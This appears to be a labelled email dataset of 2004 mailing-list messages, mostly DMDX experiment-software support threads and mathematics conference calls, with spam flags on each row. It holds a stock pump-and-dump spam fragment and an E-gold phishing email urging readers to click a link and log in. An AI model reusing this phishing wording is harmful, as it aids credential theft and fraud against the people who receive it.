window. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ One nice thing about egotists: they don't talk about other people.",0,1 James Irby ,cmod_weekly@lists.psfc.mit.edu,"Wed, 10 Nov 2004 12:30:21 -0500",[Cmod_weekly] C-Mod Ideas Forum Correction,"Please note that the C-Mod Ideas Forum is actually December 2-3, NOT 3-4 as stated our Weekly Highlights. Sorry for the error. jim _______________________________________________ Cmod_weekly mailing list Cmod_weekly@lists.psfc.mit.edu http://lists.psfc.mit.edu/mailman/listinfo/cmod_weekly ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 23 Nov 2004 13:44:01 -0700",Conference: Virtual Concept 2005,"forwarding ------------- Begin Forwarded Message ------------- From: Martine Ceberio I am part of the program committee of Virtual Concept 2005, an international conference that will be held in Biarritz (France), next Fall. This conference encompasses a lot of topics, among which in particular: - constraint based modellling in design - virtual reality and optimization of productor process - virtual reality and robotics - etc. This may be of interest to people from the interval mailing list. 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We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. 3S6NBTGBSVJCY12V3 ",1,0 Stephen Salbod ,DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 18:09:08 -0500",[DMDX] RE: DMDX 3.1.1.3,"You've done it again. You solved my image quality problem. I was using ^001 * ""Amusement Park 014""/; ^002 * ""Amusement Park 027""/; your hint of the g, that is, ^001 * g ""Amusement Park 014.jpg""/; ^002 * g ""Amusement Park 027.jpg""/; cleared up the image problem. Thank you, Steve -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: Tuesday, November 23, 2004 1:20 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DMDX 3.1.1.3 Ok, found the missing JPEG problem and it's fixed in 3.1.1.3. No, it wasn't Microsoft's GDI+ patch (thankfully) and was instead a slight oversight when I made 1.0 a scaled value for BMP multipliers instead of pixel coordinate 1 -- a change so trivial I didn't even log it. And it tended not to show up around here because we tend to use G instead of or . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ One nice thing about egotists: they don't talk about other people. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 18:24:27 -0700",[DMDX] Re: RE: DMDX 3.1.1.3,"At 06:09 PM 11/23/2004 -0500, you wrote: >You've done it again. You solved my image quality problem. > >I was using > >^001 * ""Amusement Park 014""/; >^002 * ""Amusement Park 027""/; > >your hint of the g, that is, > >^001 * g ""Amusement Park 014.jpg""/; >^002 * g ""Amusement Park 027.jpg""/; > >cleared up the image problem. G is equivalent to or , it just doesn't offer any scaling. The reason G fixes your artifacts is that it isn't scaling anything, you're seeing the image as it is. When you use DMDX scales the image to fit on half the screen centered in the middle. The scaling is done by GDI, the Graphics Device Interface of Windows and it's a little rough and ready when it comes to scaling things. If Microsoft ever add a nice re-sampler to GDI then DMDX's scaling of bitmaps will get nicer too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A mind is like a steel trap: Rusty, and illegal in 37 states.",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 23 Nov 2004 22:09:56 -0700",A3L 2nd Announcement and Call for Papers,"conference of potential interest to interval computations researchers ------------- Begin Forwarded Message ------------- From: ""A. Dolzmann A. Seidl T. Sturm"" ********************************************************************* 2nd ANNOUNCEMENT AND CALL FOR PAPERS A3L-2005 Algorithmic Algebra and Logic Conference in Honor of the 60th Birthday of Volker Weispfenning University of Passau, Germany http://www.A3L.org ********************************************************************* The A3L conference is intended to be the first one of a series of conferences on symbolic computation but with focus on commutative algebra and the combination of computer algebra with logic, e.g. effective quantifier elimination. Work on algorithms, their implementation, and practical application. A3L will be held at the University of Passau, Germany, from April 3 to 6, 2005. Paper Submission ---------------- Authors should submit not later than November 28, 2004, by email to jsc@A3L.org and/or to proceedings@A3L.org, resp. There are two possible types of submissions: (A) extended abstracts (2-4 pages) for the conference proceedings volume (B) full papers for a special issue of the Journal of Symbolic Computation. Material that is submitted only as an extented abstract need not be original. Also it may be published in a different form elsewhere later. For full paper authors (B), the usual rules of the JSC apply. The additional submission of an extended abstract (A) is mandatory. Important Dates --------------- *Deadline for Submissions: November 28, 2004 *Notification of Acceptance: January 13, 2005 *Registration and Welcome Reception: April 2, 2005 *Scientific Conference Program: April 3-6, 2005 Conference Topics ----------------- Topics of the meeting include, but are not limited to: -Algorithmic Mathematics: Algebraic, symbolic and symbolic-numeric algorithms. Manipulation of formulas from logic, simplification, function manipulation, equations, summation, integration and differentiation, ODE/PDE, linear algebra, number theory, group and geometric computing, effective quantifier elimination. -Formal Deduction: Combination of methods or systems from computer algebra and computer deduction, design and implementation issues in integrated systems, formal method problems requiring mixed computing and proving, case studies and applications. -Computer Science: Theoretical and practical problems in symbolic computation. Systems, problem solving environments, user interfaces, parallel/distributed computing, programming languages, theoretical and practical complexity of computer algebra algorithms, code generation, mathematical data structures and exchange protocols. -Applications: Problem treatments using algebraic, logic, symbolic or symbolic-numeric computation. Engineering, economics and finance, physical and biological sciences, computer science, logic, mathematics, statistics, education. Instructions for Authors ------------------------ Latex styles and detailed author instructions are available at www.A3L.org/instructions. For both sorts of submissions the authors are asked to make clear in the abstract and in the introduction what is the relation to Volker Weispfenning's work. The relation may be very loose. In fact, due to the very broad scope of Volker Weispfenning's work, most topics from computer algebra will fit fine. Contributions from the areas of applied algebra, complexity, or model theory are highly appreciated as well. Organizing Committee -------------------- General Chair: Thomas Sturm Program Committee Chair: Andreas Dolzmann Program Committee: Hirokazu Anai, Japan Eberhard Becker, Germany Christopher Brown, USA Victor Ganzha, Germany Vladimir Gerdt, Russia Laureano Gonzalez-Vega, Spain Hoon Hong, USA David Jeffrey, Canada Wolfgang Kuechlin, Germany Scott McCallum, Australia Teo Mora, Italy Alexander Prestel, Germany Eugenio Roanes-Lozano, Spain Dongming Wang, France Andreas Weber, Germany Franz Winkler, Austria Martin Ziegler, Germany Publicity Chair: Andreas Seidl ===================================================================== Please send all the comments to the appropriate contact: info@A3L.org ------------- End Forwarded Message -------------",0,1 Stephen Salbod ,DMDX@psy1.psych.arizona.edu,"Wed, 24 Nov 2004 12:48:21 -0500",[DMDX] RE: Re: RE: DMDX 3.1.1.3,"Hi JCF, I running the following script 0 ""Ready SPACEBAR""; ^001 * g ""Amusement Park 014.jpg""/; 0 ""The End. Thank You.""; I am getting a large discrepancy between passage of time I calculate and my stopwatch. I'll assume my stopwatch is correct therefore I need my mental model tweaked a little. Stopwatch time = 2040ms - from the moment the spacebar is pressed to the moment the end is sounded. In the script: fd 10 = 10 x 16.4* = 164.00ms t = 100.00ms Graphic file: Preparation A = 42.83ms B = 18.22ms Subtotal = 325.05ms default ISI = 500.00ms Total = 825.05ms What is eating up the time? Is there a default I'm not taking into consideration? Thank you for any help you can offer. And, I hope you have a Happy Thanksgiving , --Steve *I hand calculated (stopwatch) a tick to be around 16.4 using fd 100 vs fd 200 is there a more precise method of computing a tick? -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Tuesday, November 23, 2004 8:24 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: DMDX 3.1.1.3 At 06:09 PM 11/23/2004 -0500, you wrote: >You've done it again. You solved my image quality problem. > >I was using > >^001 * ""Amusement Park 014""/; >^002 * ""Amusement Park 027""/; > >your hint of the g, that is, > >^001 * g ""Amusement Park 014.jpg""/; >^002 * g ""Amusement Park 027.jpg""/; > >cleared up the image problem. G is equivalent to or , it just doesn't offer any scaling. The reason G fixes your artifacts is that it isn't scaling anything, you're seeing the image as it is. When you use DMDX scales the image to fit on half the screen centered in the middle. The scaling is done by GDI, the Graphics Device Interface of Windows and it's a little rough and ready when it comes to scaling things. If Microsoft ever add a nice re-sampler to GDI then DMDX's scaling of bitmaps will get nicer too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A mind is like a steel trap: Rusty, and illegal in 37 states. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 24 Nov 2004 13:28:13 -0700",[DMDX] RE: Re: RE: DMDX 3.1.1.3,"At 12:48 PM 11/24/2004 -0500, you wrote: >Hi JCF, > I running the following script > > >0 ""Ready SPACEBAR""; >^001 * g ""Amusement Park 014.jpg""/; >0 ""The End. Thank You.""; > >I am getting a large discrepancy between passage of time I calculate and my >stopwatch. I'll assume my stopwatch is correct therefore I need my mental >model tweaked a little. > >Stopwatch time = 2040ms - from the moment the spacebar is pressed to the >moment the end is sounded. > >In the script: > >fd 10 = 10 x 16.4* = 164.00ms >t = 100.00ms > >Graphic file: >Preparation A = 42.83ms > B = 18.22ms > > > Subtotal = 325.05ms > > default ISI = 500.00ms > > Total = 825.05ms > > What is eating up the time? Is there a default I'm not taking into >consideration? Well there's the ISI from the space bar instruction and the ISI from item 1 so that's twice the ISI you're allowing for. And without specifying a Delay parameter DMDX takes it's own sweet time, there isn't a rigorous ISI till D or is used. >*I hand calculated (stopwatch) a tick to be around 16.4 using fd 100 vs fd >200 is there a more precise method of computing a tick? > TimeDX displays the retrace interval in both the Refresh Rate test and the Time Videlo Mode test. Perhaps when you timed the display mode TimeDX didn't do it correctly. I find I need to tell a number of machines these days to Read Between Flips to stop Cheating Drivers in the Refresh Rate test otherwise TimeDX can make pretty poor guesses at the retrace interval. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ DISCRIMINATE, v.i. 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However, when I tried to collect both responses, I could not get the RTs for the verbal input, even though the other responses were fine (i.e., wav files were ok, and key presses & their RTs in the azk file were fine too). Could someone tell me what might go wrong? Thanks in advance! Below is part of my script. It's my first time to use DMDX independently, so I would appreciate it if any of you could let me know if there is anything unusual about the script. Thanks! :-) +1 “sentence1” / “squence 1”/*!; +2 “sentence2” / “sequence 2”/*! ; best, Shiaohui ^^^^^^^^^^^^^^^^^^^^^^^^^ Shiaohui Chan Ph.D. Program Department of Linguistics University of Arizona Tucson, AZ 85721 e-mail: shiaohui@u.arizona.edu",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 2004 11:02:31 -0700",[DMDX] Re: Audio & keyboard inputs (DMDX 3.0.4.8),"At 03:02 AM 11/29/2004 -0700, you wrote: >Hi, > >I am designing a dual-task experiment in which subjects produce a sentence >from a random word string that they hear, and at the same time, press >key(s) in response to visual stimuli given on the screen. So, I will have >to present both audio and visual stimuli, and will have to collect 1) >verbal responses and their RTs, and 2) keyboard responses and their RTs. > >When only collecting verbal responses, I had no problem recording the >voice in wav files and the RTs in an azk file, and also when collecting >keyboard responses, I got both button names and RTs in the azk >file. However, when I tried to collect both responses, I could not get >the RTs for the verbal input, even though the other responses were fine >(i.e., wav files were ok, and key presses & their RTs in the azk file were >fine too). Could someone tell me what might go wrong? Thanks in advance! Read the documentation on . Basically as long as you haven't validated any keys all keys are valid, but as soon as you validate any key all keys that are going to be used need to be validated. This includes the +DigitalVOX ""key"". > >Below is part of my script. It's my first time to use DMDX independently, >so I would appreciate it if any of you could let me know if there is >anything unusual about the script. Thanks! :-) > > > > > > > > > >+1 >¡§sentence1¡¨ / ¡§squence 1¡¨/*!; > > > >+2 ¡§sentence2¡¨ >/ ¡§sequence 2¡¨/*! ; > > > >best, > >Shiaohui >^^^^^^^^^^^^^^^^^^^^^^^^^ >Shiaohui Chan >Ph.D. Program >Department of Linguistics >University of Arizona >Tucson, AZ 85721 >e-mail: shiaohui@u.arizona.edu /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ DISCRIMINATE, v.i. To note the particulars in which one person or thing is, if possible, more objectionable than another. - Ambrose Bierce The Devil's Dictionary",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 2004 18:51:59 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"> Read the documentation on . Basically as long as > you haven't validated any keys all keys are valid, but as soon as you > validate any key all keys that are going to be used need to be > validated. This includes the +DigitalVOX ""key"". Thank you for the quick reply, Jonathan! :-) I added and, yes, my original problem was solved--verbal responses are now in the azk file. But then there are two ensuing questions (sorry~): (1) Why did the same RTs repeat 60 times in one trial? I got something like ""1016.00 +DigitalVox"" repeating about 60 times in one trial, but all I said into the microphone was ""He seems very happy"". Here is my parameter line: I know can be added to get one RT only, but could you tell me what I might have done wrong such that I got 60 responses with the same, instead of different, RTs? (2) Could I get one RT each for both keyboard & audio inputs? When I added into the above parameter line, it was either keyboard or audio response that was captured, depending on which one came first. But in this exp, I was hoping to get one RT each for both keyboard and audio inputs (i.e., something like [1005,+DigialVox 3423.00, +J] for one trial). Is there a way to do this? Again, thank you very much for taking time to respond. I really appreciate it! best, shiaohui",0,0 Craig Richardson ,DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 14:09:25 +1100",[DMDX] DMDX with high-end video cards?,"Hi All, I'm about to upgrade our aging DMDX fleet and was looking at the Dell Precision series. The only hardware in these systems I've not experienced with DMDX before are the video cards, there is the choice of either the NVIDIA Quadro or the ATI FireGL series. Has anyone used any of these two cards with DMDX and if so can they recommend (or flame) either of them? thanks, Craig -- Craig Richardson Systems Administrator Macquarie Centre for Cognitive Science Macquarie University Phone : +61 2 9850 6730 Fax : +61 2 9850 6059 Web : http://www.maccs.mq.edu.au ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 07:57:46 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"At 06:51 PM 11/29/2004 -0700, you wrote: > I added and, yes, my original problem was solved--verbal >responses are now in the azk file. But then there are two ensuing questions >(sorry~): > > (1) Why did the same RTs repeat 60 times in one trial? > > I got something like ""1016.00 +DigitalVox"" repeating about 60 times in one >trial, but all I said into the microphone was ""He seems very happy"". > > Here is my parameter line: > > > doesn't work with the DigitalVOX (it's mentioned in the documentation). You need to use or some such period. > I know can be added to get one RT only, but could you tell me what I >might have done wrong such that I got 60 responses with the same, instead of >different, RTs? > > (2) Could I get one RT each for both keyboard & audio inputs? No. You will have to use for that or two items. I recommend the later. > When I added into the above parameter line, it was either keyboard or >audio response that was captured, depending on which one came first. But in >this exp, I was hoping to get one RT each for both keyboard and audio inputs >(i.e., something like [1005,+DigialVox 3423.00, +J] for one trial). Is >there a way to do this? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program is a part of some other program, and rarely fits.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 07:58:47 -0700",[DMDX] Re: DMDX with high-end video cards?,"At 02:09 PM 11/30/2004 +1100, you wrote: >Hi All, > >I'm about to upgrade our aging DMDX fleet and was looking at the Dell >Precision series. > >The only hardware in these systems I've not experienced with DMDX before >are the video cards, there is the choice of either the NVIDIA Quadro or >the ATI FireGL series. > >Has anyone used any of these two cards with DMDX and if so can they >recommend (or flame) either of them? Flame both of them. Get a consumer grade card, that way the drivers have a chance of working properly. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program is a part of some other program, and rarely fits. ",0,0 Peter Hertling ,"cca-list@fernuni-hagen.de, COMP-THY@LISTSERV.ND.EDU, comprox@doc.ic.ac.uk, na.digest@na-net.ornl.gov, reliable_computing@interval.louisiana.edu, fom@math.psu.edu, THEORYNT@listserv.nodak.edu","Mon, 29 Nov 2004 13:58:44 +0100",CCA 2005 - First Call for Papers,"____________________________________________________________________ First Announcement and Call for Papers ____________________________________________________________________ C C A 2 0 0 5 Second International Conference on Computability and Complexity in Analysis August 26-29, 2005, Kyoto, Japan http://cca-net.de/cca2005 ____________________________________________________________________ Submissions: Authors are invited to submit a PostScript or PDF version of a paper to the email address provided on the web site of the conference. Dates: Submission: May 1, 2005 Notification: June 5, 2005 Camera-ready version: July 3, 2005 Satellite seminars and reception: August 26, 2005 Main conference: August 27-29, 2005 The satellite seminars will consist of introductory lectures to CCA and related areas. More detailed information will soon be available on the web site of the conference. Scope The conference is concerned with the theory of computability and complexity over real-valued data. Computability and complexity theory are two central areas of research in mathematical logic and theoretical computer science. Computability theory is the study of the limitations and abilities of computers in principle. Computational complexity theory provides a framework for understanding the cost of solving computational problems, as measured by the requirement for resources such as time and space. The classical approach in these areas is to consider algorithms as operating on finite strings of symbols from a finite alphabet. Such strings may represent various discrete objects such as integers or algebraic expressions, but cannot represent general real or complex numbers, unless they are rounded. Most mathematical models in physics and engineering, however, are based on the real number concept. Thus, a computability theory and a complexity theory over the real numbers and over more general continuous data structures is needed. Unlike the well established classical theory over discrete structures, the theory of computation over continuous data is still in its infancy, despite remarkable progress in recent years. Many important fundamental problems have not yet been studied, and presumably numerous unexpected and surprising results are waiting to be detected. Scientists working in the area of computation on real-valued data come from different fields, such as theoretical computer science, domain theory, logic, constructive mathematics, computer arithmetic, numerical mathematics and all branches of analysis. The conference provides a unique opportunity for people from such diverse areas to meet and exchange ideas and knowledge. The topics of interest include foundational work on various models and approaches for describing computability and complexity over the real numbers. They also include complexity-theoretic investigations, both foundational and with respect to concrete problems, and new implementations of exact real arithmetic, as well as further developments of already existing software packages. We hope to gain new insights into computability-theoretic aspects of various computational questions from physics and from other fields involving computations over the real numbers. Scientific Program Committee: Vasco Brattka (Cape Town, South Africa) Peter Hertling, chair (Munich, Germany) Hajime Ishihara (Ishikawa, Japan) Iraj Kalantari (Macomb, USA) Ker-I Ko (Stony Brook, USA) Vladik Kreinovich (El Paso, USA) Jack H. Lutz (Ames, USA) Joseph S. Miller (Bloomington, USA) Robert Rettinger (Hagen, Germany) Matthias Schröder (Edinburgh, Scotland) Alex Simpson (Edinburgh, Scotland) Klaus Weihrauch (Hagen, Germany) Atsushi Yoshikawa (Kyushu, Japan) Xizhong Zheng (Cottbus, Germany) Ning Zhong (Cincinnati, USA) Martin Ziegler (Paderborn, Germany) Organizing Committee: Hiroyasu Kamo (Nara, Japan) Takakazu Mori (Kyoto, Japan) Izumi Takeuti (Toho, Japan) Hideki Tsuiki, chair (Kyoto, Japan) Yoshiki Tsujii (Kyoto, Japan) Mariko Yasugi (Kyoto, Japan) Invited Speakers Vasco Brattka (Cape Town, South Africa) Masami Hagiya (Tokyo, Japan) Daisuke Takahashi (Waseda, Japan) Proceedings A technical report including the accepted papers will be distributed at the conference. It is planned to publish a special issue of the Journal of Complexity dedicated to the conference. After the workshop, the participants will be invited to submit their papers for publication in this special issue. The papers will be subject to the usual refereeing process of the journal. Venue The conference will be held on the Yoshida Campus of Kyoto University. Kyoto was the imperial capital of Japan for over 1000 years until 1867. It has many famous temples, shrines, national treasures, and festivals, and it is still the cultural center of Japan. Kyoto is also known as an academic city with many universities and research institutes. Local Information Kyoto is about 100 km north-east of Kansai International Airport. Travel and on-site information will soon be available on the web site of the conference. Support The conference is supported by the Graduate School of Human and Environmental Studies, Kyoto University. ______________________________________________________________________ ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 25 Nov 2004 14:27:01 -0700",reliable engineering computing,"Dear Friends, Once again, many thanks to the organizers to the international Workshop on Reliable Engineering Computing (Savannah, Georgia, September 15-17, 2005), especially to Rafi L. Muhanna and Robert L. Mullen, Workshop Co-Chairs. This workshop was a great success. Overall, 24 papers by 35 speakers were presented, and 45 registered participants actively participated in the workshop. This workshop was made possible through the sponsorship of the National Science Foundation (NSF), the Computing and Systems Technology (CAST) Division of the American Institute of Chemical Engineers (AIChE), the Society for Risk Analysis, Sun Microsystems, and the Georgia Institute of Technology. Coordination of the event was provided by the Center for Reliable Engineering Computing at Georgia Tech Savannah. The workshop presentations are posted on the workshop website http://www.gtrep.gatech.edu/rec/recworkshop/ The international journal Reliable Computing is planning to publish a special issue with extended versions of the presented papers. At the working meeting, all the participants agreed that this workshop was a great start, and that it is desirable to hold such workshops on a regular biannual basis. Drs. Muhanna and Mullen kindly volunteered to organize the next workshop in Savannah, Georgia, in 2006. Based on the requests of participants from different countries, it looks like end of February 2006 is the best time for the next workshop. To attract even more engineers to our meetings, the participants decided that it would be beneficial to have a subtitle clarifying the workshop's topic, so the next workshop will be a workshop on Reliable Engineering Computing: Uncertainty in Engineering Computations. The participants also agreed that it would be a great idea to keep a list of open problems related to reliable engineering computing. Dr. Mullen kindly agreed to serve as a contact point for possible problem and to post the overview of the resulting open problem on the website of the Center for Reliable Engineering Computing. Please send suggestions, ideas, and problems to Robert L. Mullen at Robert.Mullen@case.edu ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 25 Nov 2004 11:57:50 -0700",ECCAD'05 - Call For Participation,"This may be of interest to interval computations researchers. ------------- Begin Forwarded Message ------------- From: ""Iyad Ajwa"" ECCAD 2005 The 12th Annual East Coast Computer Algebra Day CALL FOR PARTICIPATION HOSTED BY: The Department of Mathematics and Computer Science Ashland University Ashland, Ohio, USA DATE: March 12, 2005 CONFERENCE WEBSITE: http://www.ashland.edu/~eccad CONFERNCE EMAIL: eccad@ashland.edu ========================================= ECCAD, East Coast Computer Algebra Day, is an annual conference that provides opportunities to learn and share new developments and to present research results in the areas of symbolic and mathematical computation. The 12th Annual East Coast Computer Algebra Day (ECCAD 2005) will be held on Saturday, March 12, 2005. It will be hosted by the Department of Mathematics and Computer Science at Ashland University in Ashland, Ohio, USA. ECCAD 2005 will be in honor of Professor Bob Caviness's 65th birthday. Bob Caviness is a Professor Emeritus (with a joint appointment in Mathematical Sciences) and former Chair of the Department of Computer & Information Sciences at the University of Delaware. His research interests include the design and analysis of algebraic algorithms, in particular, algorithmic decision procedures for integration in finite terms and for computing closed form solutions of differential equations.More recently he has turned to web-based technologies. He has five Ph.D. and two M.S students. Professor Caviness has served in various editorial capacities for the following jourmals: ACM Transactions on Mathematical Software, ACM Computing Reviews, CONSTRAINTS, the online e-commerce journal ACM SIGecom Exchanges, and the Journal of Symbolic Computation. He served as Editor-in-Chief of the latter journal for the period 1995-2000. He has also lectured widely and served the profession in many other capacities. Happy Birthday, Bob! THEMES: - Algebraic Algorithms - Symbolic-Numeric Computation - Computer Algebra Systems - Mathematical Communication - Complexity of Algebraic Problems - Symbolic and Numerical Linear Algebra - Applications of Symbolic Computation INVITED SPEAKERS: The following speakers have been confirmed. Titles and abstracts will be announced on the Conference Website at http://www.ashland.edu/~eccad once they become available. 1. Professor Bruno Buchberger - Johannes Kepler University, Linz, Austria. 2. Professor Erich Kaltofen - North Carolina State University, Raleigh, NC. 3. Professor David Saunders - University of Delaware, Newark, DE. 4. Professor Paul Wang - Kent State University, kent, OH. REGISTRATION: Online Registration is available on the Conference Website at http://www.ashland.edu/~eccad. POSTER SESSIONS: Two poster sessions will be held at the conference. Participants are invited to submit their posters by the submission deadline of February 25, 2005. Poster abstracts received before the submission deadline will be included in The ECCAD'2005 Book of Abstracts which will be available at the conference. POSTER SUBMISSION: Poster abstracts may be up to 2 pages long. The submission deadline is February 25, 2005. To submit a poster, either use the Online Registration Form (available on the Conference Website at http://www.ashland.edu/~eccad) to provide the title and abstract of your poster, or send the title and abstract of your poster by email to eccad@ashland.edu TRAVEL SUPPORT: Pending NSF support, the conference hopes to be able to provide limited travel support for some participants to attend ECCAD'2005. Graduate students and junior faculty are particularly encouraged to apply. Support may cover only partially travel expenses and lodging for up to two nights. There will be no stipends. Make sure the flight has a flight number of a US carrier. If you plan to attend and apply for support, please send your inquiry with an itemized estimate of your expenses to eccad@ashland.edu. Please note that if your application is approved and if funding is available, you will receive your reimbursement after the conference. All applications for support are due by March 1, 2005. Support is subject to successful funding. ACCOMMODATIONS: Blocks of rooms have been reserved at two local hotels for participants of ECCAD'2005. Deatiled Information will be posted soon on the Conference Website at http://www.ashland.edu/~eccad. ADVISORY COUNCIL: - Bruce Char - Drexel University, USA - Erich Kaltofen - North Carolina State University, USA - Ilias Kotsireas - Wilfrid Laurier University, CANADA - David Saunders - University of Delaware, USA - William Sit - The City College of the City University of New York, USA - Paul S. Wang - Kent State University, USA - Stephen Watt - University of Western Ontario, CANADA ORGANIZER: Iyad A. Ajwa Department of Mathematics and Computer Science Ashland University Ashland, Ohio 44805, USA +1 419.289.5798 iajwa@ashland.edu SPONSORS: - Ashland University - College of Arts and Sciences - Department of Mathematics and Computer Science - National Science Foundation CONFERENCE CONTACT: Iyad A. Ajwa Department of Mathematics and Computer Science Ashland University Ashland, Ohio 44805 USA Tel: +1 419.289.5798 FAX: +1 419.289.5791 iajwa@ashland.edu eccad@ashland.edu OTHER INFORMATION: Previous ECCAD conference homepages can be consulted at: http://www.cis.udel.edu/~saunders/eccad/. Iyad... *********************************************************** Iyad A. Ajwa, Ph.D. Associate Professor Department of Mathematics and Computer Science Ashland University Ashland, OH 44805, USA Phone: +1 419.289.5798 FAX: +1 419.289.5791 www.ashland.edu/~iajwa/ *********************************************************** ------------- End Forwarded Message -------------",0,1 Arnold Neumaier ,interval ,"Mon, 29 Nov 2004 16:24:00 +0100",Interval methods for uncertain mechanical systems,"The following paper can be downloaded from http://www.mat.univie.ac.at/~neum/papers.html#linunc A. Neumaier and A. Pownuk, Linear systems with large uncertainties, with applications to truss structures Abstract -------- Linear systems whose coefficients have large uncertainties arise routinely in finite element calculations for structures with uncertain geometry, material properties, or loads. However, a true worst case analysis of the influence of such uncertainties was previously possible only for very small systems and uncertainties, or in special cases where the coefficients do not exhibit dependence. This paper presents a method for computing rigorous bounds on the solution of such systems, with a computable overestimation factor that is frequently quite small. The merits of the new approach are demonstrated by computing realistic bounds for some large, uncertain truss structures, some leading to linear systems with over 5000 variables and over 10000 interval parameters, with excellent bounds for up to about 10% input uncertainty. Also discussed are some counterexamples for the performance of traditional approximate methods for worst case uncertainty analysis. ",0,1 "E-gold <""your E-gold account"">",DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 07:54:17 -0500",your E-gold account,"X-psy1.psych.arizona.edu X-AntiAbuse: Originator/Caller UID/GID - [99 501] / [47 12] X-AntiAbuse: Sender Address Domain - northstar.chargertek.com X-Source: X-Source-Args: /usr/local/apache/bin/httpd -DSSL X-Source-Dir: johnslax1.ahost.ro:/public_html/mail Dear E-gold member,     As a part of our continuing commitment to protect your account and to reduce the instance of fraud on our website, we are undertaking a period review of our member accounts.   This email was sent by the E-gold server to verify your e-mail address. You must complete this process by clicking on the link below and logging in to your E-gold account. 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The authors intelligently exploit the structure of such problems with ""proper pre-conditioning"" and iterative methods. Well-chosen examples illustrate the advantages over other methods. Perhaps only two suggestions are in order. (1) Some brief summary of the key ideas of ""the new approach"" should be included in the abstract and in the introduction. (2) On page 22, lines 4 and 5 from the top, the u's should have double-primes. Congratulations Arnold and Andrzej, this is an excellent paper. Ramon Moore ----- Original Message ----- From: ""Arnold Neumaier"" To: ""interval"" Sent: Monday, November 29, 2004 10:24 AM Subject: Interval methods for uncertain mechanical systems > The following paper can be downloaded from > http://www.mat.univie.ac.at/~neum/papers.html#linunc > > > > A. Neumaier and A. Pownuk, > Linear systems with large uncertainties, with applications to truss > structures > > > Abstract > -------- > Linear systems whose coefficients have large uncertainties > arise routinely in finite element calculations for > structures with uncertain geometry, material properties, or loads. > However, a true worst case analysis of the influence of such > uncertainties was previously possible only for very small systems > and uncertainties, or in special cases where the coefficients do > not exhibit dependence. > > This paper presents a method for computing rigorous bounds on the > solution of such systems, with a computable overestimation factor that > is frequently quite small. The merits of the new approach are > demonstrated by computing realistic bounds for some large, uncertain > truss structures, some leading to linear systems with over > 5000 variables and over 10000 interval parameters, with excellent > bounds for up to about 10% input uncertainty. > > Also discussed are some counterexamples for the performance of > traditional approximate methods for worst case uncertainty analysis. > >",0,1 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 2004 15:18:21 -0700",[DMDX] Fw: Re: Audio & keyboard inputs (DMDX 3.0.4.8),"Thanks for being patient with me, Jonathan (and thank all list members for tolerating my endless questions!). I am sorry that I couldn't read the documentation hard enough to detect the problems myself. I am sort of a new comer of DMDX, so almost every sentence in the help manual is new to me, but I know that shouldn't be an excuse. :-) > doesn't work with the DigitalVOX (it's mentioned in the > documentation). You need to use or some such period. Thanks for pointing it out, but I still cannot get rid of the problem of getting multiple inputs of the same RTs. Here is part of the script again: +1 ""sentence1"" / ""sequence 1""/*!; This time, instead of saying a whole sentence, I only said one word ""HE"" to the mic and pressed the key ""K"" at the same time. And here is what I got in the output file (for one item only): 1998.00,+DigitalVOX 2101.43,+K 1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 98.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 1998.00,+DigitalVOX 